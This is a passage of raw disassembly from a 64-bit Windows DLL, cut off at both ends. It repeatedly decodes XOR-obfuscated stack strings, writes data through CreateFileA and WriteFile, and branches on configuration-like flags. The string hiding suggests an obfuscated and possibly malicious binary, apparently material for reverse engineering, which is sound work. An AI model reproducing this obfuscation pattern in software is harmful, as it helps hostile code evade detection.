je 0x18002b1f9
call fcn.180004e10
mov edx, 0x18
lea rcx, [rbp + 0xa3c8]
call fcn.1800082e0
lea rcx, [rbp + 0xa3c8]
call fcn.180011f00
nop
xor eax, eax
mov byte [rbp + 0xc9], al
mov byte [rbp + 0xca], al
movabs rax, 0xe12e2acbd2df3285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1200], rax
movabs rax, 0x3cbaf1cb66331982
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1208], rax
movabs rax, 0xcb50e1436439f60a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1210], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1218], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc1a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc1a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc1b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc1b8], rax
vmovdqu ymm0, ymmword [rbp + 0xc1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1200]
vmovdqa ymmword [rbp + 0x1200], ymm1
lea rdx, [rbp + 0x1200]
lea rcx, [rbp + 0x3290]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3290]
lea rcx, [rbp + 0x6130]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0xa4a0]
call fcn.180004520
nop
lea rcx, [rbp + 0x6130]
call fcn.180040870
nop
lea rcx, [rbp + 0x3290]
call fcn.180040870
lea r8, [rbp + 0xa4a0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6150]
call fcn.180042b70
mov rcx, rax
call fcn.18003dd10
mov rcx, rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, rax
lea rcx, [rbp + 0x6150]
call fcn.180040870
call fcn.180004e10
cmp r13, 0xffffffffffffffff
jne 0x18002ac12
lea rcx, [rbp + 0xa4a0]
call fcn.180040870
nop
lea rcx, [rbp + 0xa3c8]
call fcn.18003f480
nop
lea rcx, [rbp + 0xa530]
call fcn.180040870
nop
lea rcx, [rbp + 0xa318]
call fcn.180040870
xor eax, eax
jmp 0x1800266cc
lea rcx, [rbp + 0xa3c8]
call fcn.18003f470
mov rsi, rax
lea rcx, [rbp + 0xa3c8]
call fcn.18003f460
mov qword [rbp + 0x10], rax
cmp rsi, rax
je 0x18002afb3
xor eax, eax
mov byte [rbp + 0xcb], al
mov byte [rbp + 0xcc], al
mov byte [rbp + 0xcd], al
mov byte [rbp + 0xce], al
movabs rax, 0xbf392afd8dfd1889
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
movabs rbx, 0x4dd6a69c2f586aaf
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb310], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb318], rax
movdqa xmm0, xmmword [rbp + 0x6d0]
pxor xmm0, xmmword [rbp + 0xb310]
movdqa xmmword [rbp + 0x6d0], xmm0
lea rdx, [rbp + 0x6d0]
lea rcx, [rbp + 0x3270]
call fcn.180004520
nop
movabs rax, 0x897c1899bbbb75d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb300], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb308], rax
movdqa xmm0, xmmword [rbp + 0x6e0]
pxor xmm0, xmmword [rbp + 0xb300]
movdqa xmmword [rbp + 0x6e0], xmm0
lea rdx, [rbp + 0x3270]
lea rcx, [rbp + 0x6190]
call fcn.1800553f0
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x6170]
call fcn.180041f40
nop
lea r8, [rbp + 0x6e0]
mov rdx, rax
lea rcx, [rbp + 0xa938]
call fcn.180041e70
nop
lea rcx, [rbp + 0x6170]
call fcn.180040870
nop
lea rcx, [rbp + 0x6190]
call fcn.180040870
nop
lea rcx, [rbp + 0x3270]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0xcf], al
mov byte [rbp + 0xd0], al
mov byte [rbp + 0xd1], al
mov byte [rbp + 0xd2], al
movabs rax, 0xbf445ffbc1fd328e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb2f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb2f8], rax
movdqa xmm0, xmmword [rbp + 0x6f0]
pxor xmm0, xmmword [rbp + 0xb2f0]
movdqa xmmword [rbp + 0x6f0], xmm0
lea rdx, [rbp + 0x6f0]
lea rcx, [rbp + 0x3250]
call fcn.180004520
nop
movabs rax, 0x897c1899bbbb7fd7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb170], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb178], rax
movdqa xmm0, xmmword [rbp + 0x700]
pxor xmm0, xmmword [rbp + 0xb170]
movdqa xmmword [rbp + 0x700], xmm0
lea rax, [rbp + 0x61b0]
mov qword [rbp], rax
mov rdx, rsi
lea rcx, [rbp + 0x61b0]
call fcn.180040920
mov rdx, rax
lea rcx, [rbp + 0x6210]
call fcn.180012620
mov rbx, rax
lea rdx, [rbp + 0x3250]
lea rcx, [rbp + 0x61f0]
call fcn.1800553f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x61d0]
call fcn.180041fa0
nop
lea r8, [rbp + 0x700]
mov rdx, rax
lea rcx, [rbp + 0xa758]
call fcn.180041e70
nop
lea rcx, [rbp + 0x61d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x61f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6210]
call fcn.180040870
nop
lea rcx, [rbp + 0x3250]
call fcn.180040870
lea rcx, [rbp + 0xa938]
call fcn.1800407c0
mov rbx, rax
lea rcx, [rbp + 0xa938]
call fcn.18003dd10
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xa358]
mov r8d, ebx
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rbp + 0xa758]
call fcn.1800407c0
mov rbx, rax
lea rcx, [rbp + 0xa758]
call fcn.18003dd10
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xa358]
mov r8d, ebx
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rbp + 0xa758]
call fcn.180040870
nop
lea rcx, [rbp + 0xa938]
call fcn.180040870
add rsi, 0x20
mov rax, qword [rbp + 0x10]
jmp 0x18002ac31
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rbp + 0xa4a0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6230]
call fcn.180042b70
nop
mov rcx, rax
call fcn.1800117f0
movzx ebx, al
lea rcx, [rbp + 0x6230]
call fcn.180040870
test bl, bl
je 0x18002b1e0
xor eax, eax
mov byte [rbp + 0xd3], al
mov byte [rbp + 0xd4], al
movabs rax, 0xb9494bf8d6d7478b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x710], rax
movabs rax, 0x4dd6a69c2f346383
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb2b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb2b8], rax
movdqa xmm0, xmmword [rbp + 0x710]
pxor xmm0, xmmword [rbp + 0xb2b0]
movdqa xmmword [rbp + 0x710], xmm0
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0x3210]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xd5], al
mov byte [rbp + 0xd6], al
movabs rax, 0xfd2a5ffdc1d74688
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1220], rax
movabs rax, 0x70eecbc667096eaf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1228], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1230], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1238], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc1c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc1c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc1d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc1d8], rax
vmovdqu ymm0, ymmword [rbp + 0xc1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1220]
vmovdqa ymmword [rbp + 0x1220], ymm1
lea rdx, [rbp + 0x1220]
lea rcx, [rbp + 0x3230]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3210]
lea rcx, [rbp + 0x6290]
call fcn.1800553f0
mov rsi, rax
lea r8, [rbp + 0xa4a0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6270]
call fcn.180042b70
mov rbx, rax
lea rdx, [rbp + 0x3230]
lea rcx, [rbp + 0x6250]
call fcn.1800553f0
nop
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6250]
call fcn.180040870
nop
lea rcx, [rbp + 0x6270]
call fcn.180040870
nop
lea rcx, [rbp + 0x6290]
call fcn.180040870
nop
lea rcx, [rbp + 0x3230]
call fcn.180040870
nop
lea rcx, [rbp + 0x3210]
call fcn.180040870
nop
lea rcx, [rbp + 0xa4a0]
call fcn.180040870
nop
lea rcx, [rbp + 0xa3c8]
call fcn.18003f480
cmp byte [rbp + 0x1f], 0
je 0x18002b5b6
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0xd7], al
mov byte [rbp + 0xd8], al
movabs rax, 0xf13d62fdc3e93285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1240], rax
movabs rax, 0x3894c8d079236cbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1248], rax
movabs rax, 0xfb38a9272c41fb1d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1250], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1258], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc1e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc1e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc1f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc1f8], rax
vmovdqu ymm0, ymmword [rbp + 0xc1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1240]
vmovdqa ymmword [rbp + 0x1240], ymm1
lea rdx, [rbp + 0x1240]
lea rcx, [rbp + 0x31f0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x31f0]
lea rcx, [rbp + 0xa5b0]
call fcn.1800553f0
nop
lea rcx, [rbp + 0x31f0]
call fcn.180040870
lea r8, [rbp + 0xa5b0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x62b0]
call fcn.180042b70
nop
mov rcx, rax
call fcn.18003dd10
mov rcx, rax
call fcn.18001eb40
nop
lea rcx, [rbp + 0x62b0]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
lea r8, [rbp + 0xa5b0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x62d0]
call fcn.180042b70
nop
mov rcx, rax
call fcn.1800117f0
movzx ebx, al
lea rcx, [rbp + 0x62d0]
call fcn.180040870
test bl, bl
je 0x18002b5aa
xor eax, eax
mov byte [rbp + 0xd9], al
mov byte [rbp + 0xda], al
movabs rax, 0xfc2a4fc3c2f547be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1260], rax
movabs rax, 0x3ae3e5f8640d1985
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1268], rax
movabs rax, 0xfb38a91a2c1fe125
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1270], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1278], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc200], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc208], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc210], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc218], rax
vmovdqu ymm0, ymmword [rbp + 0xc200]
vpxor ymm1, ymm0, ymmword [rbp + 0x1260]
vmovdqa ymmword [rbp + 0x1260], ymm1
lea rdx, [rbp + 0x1260]
lea rcx, [rbp + 0x31b0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xdb], al
mov byte [rbp + 0xdc], al
movabs rax, 0xfd2a5ffdc1d74688
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1280], rax
movabs rax, 0x70eecbc667096eaf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1288], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1290], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1298], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc220], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc228], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc230], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc238], rax
vmovdqu ymm0, ymmword [rbp + 0xc220]
vpxor ymm1, ymm0, ymmword [rbp + 0x1280]
vmovdqa ymmword [rbp + 0x1280], ymm1
lea rdx, [rbp + 0x1280]
lea rcx, [rbp + 0x31d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x31b0]
lea rcx, [rbp + 0x6330]
call fcn.1800553f0
mov rsi, rax
lea r8, [rbp + 0xa5b0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6310]
call fcn.180042b70
mov rbx, rax
lea rdx, [rbp + 0x31d0]
lea rcx, [rbp + 0x62f0]
call fcn.1800553f0
nop
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x62f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6310]
call fcn.180040870
nop
lea rcx, [rbp + 0x6330]
call fcn.180040870
nop
lea rcx, [rbp + 0x31d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x31b0]
call fcn.180040870
nop
lea rcx, [rbp + 0xa5b0]
call fcn.180040870
cmp byte [rbp + 0x20], 0
je 0x18002b96b
call fcn.180004e10
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0xdd], al
mov byte [rbp + 0xde], al
movabs rax, 0xf3175cd4c3e93285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12a0], rax
movabs rax, 0x7dbeeef8670273ab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x12b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x12b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc240], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc248], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc250], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc258], rax
vmovdqu ymm0, ymmword [rbp + 0xc240]
vpxor ymm1, ymm0, ymmword [rbp + 0x12a0]
vmovdqa ymmword [rbp + 0x12a0], ymm1
lea rdx, [rbp + 0x12a0]
lea rcx, [rbp + 0x3190]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3190]
lea rcx, [rbp + 0xa630]
call fcn.1800553f0
nop
lea rcx, [rbp + 0x3190]
call fcn.180040870
lea r8, [rbp + 0xa630]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6350]
call fcn.180042b70
nop
mov rcx, rax
call fcn.18001ec40
movzx ebx, al
lea rcx, [rbp + 0x6350]
call fcn.180040870
test bl, bl
je 0x18002b95f
lea r8, [rbp + 0xa630]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6370]
call fcn.180042b70
nop
mov rcx, rax
call fcn.1800117f0
movzx ebx, al
lea rcx, [rbp + 0x6370]
call fcn.180040870
test bl, bl
je 0x18002b95f
xor eax, eax
mov byte [rbp + 0xdf], al
mov byte [rbp + 0xe0], al
movabs rax, 0xf32a2ac0cdf13d88
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12c0], rax
movabs rax, 0x7d98fefd5f275285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12c8], rax
movabs rax, 0xc605e843252ee20b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x12d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc260], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc268], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc270], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc278], rax
vmovdqu ymm0, ymmword [rbp + 0xc260]
vpxor ymm1, ymm0, ymmword [rbp + 0x12c0]
vmovdqa ymmword [rbp + 0x12c0], ymm1
lea rdx, [rbp + 0x12c0]
lea rcx, [rbp + 0x3150]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xe1], al
mov byte [rbp + 0xe2], al
movabs rax, 0xfd2a5ffdc1d74688
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12e0], rax
movabs rax, 0x70eecbc667096eaf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x12f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x12f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc280], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc288], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc290], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc298], rax
vmovdqu ymm0, ymmword [rbp + 0xc280]
vpxor ymm1, ymm0, ymmword [rbp + 0x12e0]
vmovdqa ymmword [rbp + 0x12e0], ymm1
lea rdx, [rbp + 0x12e0]
lea rcx, [rbp + 0x3170]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3150]
lea rcx, [rbp + 0x63d0]
call fcn.1800553f0
mov rsi, rax
lea r8, [rbp + 0xa630]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x63b0]
call fcn.180042b70
mov rbx, rax
lea rdx, [rbp + 0x3170]
lea rcx, [rbp + 0x6390]
call fcn.1800553f0
nop
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6390]
call fcn.180040870
nop
lea rcx, [rbp + 0x63b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x63d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3170]
call fcn.180040870
nop
lea rcx, [rbp + 0x3150]
call fcn.180040870
nop
lea rcx, [rbp + 0xa630]
call fcn.180040870
call fcn.180004e10
cmp byte [rbp + 0x21], 0
je 0x18002b980
call fcn.180004e10
call fcn.18001b9d0
call fcn.180004e10
cmp byte [rbp + 0x22], 0
je 0x18002bf3e
lea rcx, [rbp + 0xa798]
call fcn.180012f10
nop
lea rcx, [rbp + 0x6410]
call fcn.180002f90
nop
mov rdx, rax
lea rcx, [rbp + 0x63f0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa798]
call fcn.1800142a0
mov ebx, eax
lea rcx, [rbp + 0x63f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6410]
call fcn.180040870
test ebx, ebx
je 0x18002bf2c
xor eax, eax
mov byte [rbp + 0xe3], al
mov byte [rbp + 0xe4], al
movabs rax, 0xcb2e4fd4d0fd3285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1300], rax
movabs rax, 0x3b98c8fd672873b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1308], rax
movabs rax, 0xfb38a9272c41eb25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1310], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1318], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc2a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc2a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc2b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc2b8], rax
vmovdqu ymm0, ymmword [rbp + 0xc2a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1300]
vmovdqa ymmword [rbp + 0x1300], ymm1
lea rdx, [rbp + 0x1300]
lea rcx, [rbp + 0x3130]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3130]
lea rcx, [rbp + 0x6430]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0xa778]
call fcn.180004520
nop
lea rcx, [rbp + 0x6430]
call fcn.180040870
nop
lea rcx, [rbp + 0x3130]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0xe5], al
mov byte [rbp + 0xe6], al
movabs rsi, 0xf0452ac0c1d7328f
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2960], rax
movabs rax, 0x7d9895fe732768bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2968], rax
movabs rax, 0x8b7ec470760bdb1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2970], rax
movabs rax, 0x952e9c03886d19ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2978], rax
movabs rax, 0xdcc76a434679a48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2980], rax
movabs rax, 0x14225300ef9a0723
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2988], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb500], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb508], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb510], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb518], rax
movabs rax, 0x3baf30ed0152cd11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb520], rax
movabs rcx, 0x14225300d2a7466a
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xb528], rax
vmovdqu ymm0, ymmword [rbp + 0xb500]
vpxor ymm1, ymm0, ymmword [rbp + 0x2960]
vmovdqa ymmword [rbp + 0x2960], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2980]
vpxor xmm2, xmm2, xmmword [rbp + 0xb520]
vmovdqa xmmword [rbp + 0x2980], xmm2
lea rdx, [rbp + 0x2960]
lea rcx, [rbp + 0x3110]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3110]
lea rcx, [rbp + 0x6490]
call fcn.1800553f0
nop
lea r8, [rbp + 0xa798]
mov rdx, rax
lea rcx, [rbp + 0x6470]
call fcn.180041f40
mov rbx, rax
lea r8, [rbp + 0xa778]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6450]
call fcn.180042b70
nop
mov rdx, rbx
mov rcx, rax
call fcn.1800142a0
nop
lea rcx, [rbp + 0x6450]
call fcn.180040870
nop
lea rcx, [rbp + 0x6470]
call fcn.180040870
nop
lea rcx, [rbp + 0x6490]
call fcn.180040870
nop
lea rcx, [rbp + 0x3110]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0xe7], al
mov byte [rbp + 0xe8], al
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1320], rax
movabs rax, 0x218ccbfe582768bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1328], rax
movabs rax, 0x8e0c9b45612ebf1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1330], rax
movabs rax, 0xa617ae62d45f3ccc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1338], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc2c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc2c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc2d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc2d8], rax
vmovdqu ymm0, ymmword [rbp + 0xc2c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1320]
vmovdqa ymmword [rbp + 0x1320], ymm1
lea rdx, [rbp + 0x1320]
lea rcx, [rbp + 0x30d0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xe9], al
mov byte [rbp + 0xea], al
movabs rax, 0xfa3a4ff8d1824788
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1340], rax
movabs rax, 0x3b9894ff62371baa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1348], rax
movabs rax, 0xfb38a9272c2de124
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1350], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1358], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc2e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc2e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc2f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc2f8], rax
vmovdqu ymm0, ymmword [rbp + 0xc2e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1340]
vmovdqa ymmword [rbp + 0x1340], ymm1
lea rdx, [rbp + 0x1340]
lea rcx, [rbp + 0x30f0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x30d0]
lea rcx, [rbp + 0x64f0]
call fcn.1800553f0
mov rsi, rax
lea r8, [rbp + 0xa778]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x64d0]
call fcn.180042b70
mov rbx, rax
lea rdx, [rbp + 0x30f0]
lea rcx, [rbp + 0x64b0]
call fcn.1800553f0
nop
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x64b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x64d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x64f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x30f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x30d0]
call fcn.180040870
nop
lea rcx, [rbp + 0xa778]
call fcn.180040870
call fcn.180004e10
nop
lea rcx, [rbp + 0xa798]
call fcn.180040870
movabs r13, 0xdc3a5dcbeaf9238c
cmp byte [rbp + 0x23], 0
je 0x18002c47f
xor eax, eax
mov byte [rbp + 0xeb], al
mov byte [rbp + 0xec], al
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
movabs rax, 0x4dd6a69c2f587ab7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb2a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb2a8], rax
movdqa xmm0, xmmword [rbp + 0x720]
pxor xmm0, xmmword [rbp + 0xb2a0]
movdqa xmmword [rbp + 0x720], xmm0
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x3090]
call fcn.180004520
nop
lea rdx, [rbp + 0x3090]
lea rcx, [rbp + 0x6510]
call fcn.1800553f0
nop
mov rcx, rax
